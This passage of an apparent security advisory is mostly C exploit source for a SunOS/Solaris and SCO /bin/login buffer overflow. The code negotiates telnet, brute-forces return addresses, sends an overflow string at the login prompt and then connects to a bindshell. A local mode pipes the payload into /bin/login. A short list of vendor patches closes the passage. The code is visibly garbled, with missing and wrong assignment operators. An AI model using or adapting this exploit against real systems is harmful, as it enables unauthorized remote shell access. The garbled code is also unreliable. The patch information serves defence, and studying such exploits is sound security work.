0x20026fc8; reta 0xffbef864; if(argc < 2) usage(argv); while((c getopt(argc, argv, \"r:l:p:et:b\")) != EOF){ switch(c){ case \'r\': reta strtoul(optarg, NULL, 0); break; case \'l\': retl strtoul(optarg, NULL, 0); break; case \'p\': port atoi(optarg); break; case \'e\': local=1; break; case \'t\': type atoi(optarg); if(type < 0 || type > 2){ fprintf(stderr, \"invalid target\\n\"); usage(argv); exit(0); } if(strstr(targets[type].name, \"local\")) local 1; retl targets[type].retl; reta targets[type].reta; break; case \'b\': bf=1; break; } } if(!local) { if(!argv[optind] || !*argv[optind]) usage(argv); host argv[optind]; } if(local) { fprintf(stderr, \"Local execution mode.. make sure to run %s [args] | /bin/login\\n\", argv[0]); fprintf(stderr, \"first wait for Password: prompt.. hit enter then,\"); fprintf(stderr, \"wait for Login incorrect, and attempt to connect to localhost on %d\\n\", remp); } if(bf) { reta 0xffbef800; } for(;reta < 0xffbef8ff; reta+=4) { memset(out, 0, sizeof(out)); setup_exploit(out, retl, reta, bf); if(local) { if(bf) { fprintf(stderr, \"not supported do it manually you lazy fuck\\n\"); exit(0); } printf(\"%s\", out); } else { char *ptr=in; fd do_telnet_negotation (host, port); memset(in, 0, sizeof(in)); while (!strstr(ptr, \":\")) { if(ptr=&in[0]) { memset(in, 0, sizeof(in)); if(read(fd, in, sizeof(in)-2) < 0) die(\"Failed read waiting for login: \"); } for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++); if( ptr=&in[sizeof(in)-2] || (ptr[0]=0 && ptr[1]=0)) ptr &in[0]; else ptr++; } memset(in, 0, sizeof(in)); fprintf(stdout, \"Read login, sending bad user string now\\n\"); write_with_iac(fd, out, strlen(out)); fprintf(stdout, \"waiting for password... \"); while (!strstr(ptr, \":\")) { if(ptr=&in[0]) { memset(in, 0, sizeof(in)); if(read(fd, in, sizeof(in)-2) <0) die(\"Failed read waitingfor password: \"); } for(;ptr < &in[sizeof(in)-1] && ptr[0]!= 0; ptr++); if( ptr=&in[sizeof(in)-2] ||(ptr[0]=0 && ptr[1]=0)) ptr &in[0]; else ptr++; } memset(in, 0, sizeof(in)); fprintf(stdout, \"read Password: \\nsending enternow\\n\"); if(write(fd, ret, strlen(ret)) < 0) die(\"Write failed on password\"); fprintf(stdout, \"Sent overflow string....waiting for Login incorrect\\n\"); while (!strstr(ptr, \"correct\")) { if(ptr=&in[0]) { memset(in, 0, sizeof(in)); if(read(fd, in, sizeof(in)-2) <0) die(\"Failed read waiting for Login Incorrect \"); } for(;ptr < &in[sizeof(in)-1] && ptr[0]!=0; ptr++); if( ptr=&in[sizeof(in)-2] ||(ptr[0]=0 && ptr[1]=0)) ptr &in[0]; else ptr++; } fprintf(stdout, \"Got it!\\n\"); fprintf(stdout, \"lets connect to our bindshell..\\n\"); close(connect_shell(host, remp)); close(fd); } if(!bf) return; } fprintf(stderr, \"connection closed.\\n\"); return; } SOLUTION All vendors has released patches. Sun: 111085-02 SunOS 5.8: /usr/bin/login patch 111086-02 SunOS 5.8_x86: /usr/bin/login patch 112300-01 SunOS 5.7:: usr/bin/login Patch 112301-01 SunOS 5.7_x86:: usr/bin/login Patch 105665-04 SunOS 5.6: /usr/bin/login patch 105666-04 SunOS 5.6_x86: /usr/bin/login patch 106160-02 SunOS 5.5.1: /usr/bin/login patch 106161-02 SunOS 5.5.1_x86: /usr/bin/login patch Caldera : ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.40/ erg711877.506.tar.Z is the patch for SCO OpenServer Release 5.0.6, with or without Release Supplement 5.0.6a (rs506a). Note that other security issues are corrected by rs506a; we strongly recommend installing it on all 5.0.6 systems. erg711877.505.tar.Z is the patch for SCO OpenServer Release 5.0.5 and earlier. Although it should work with all releases 5.0.0 through 5.0.5, it has not yet been tested on every release.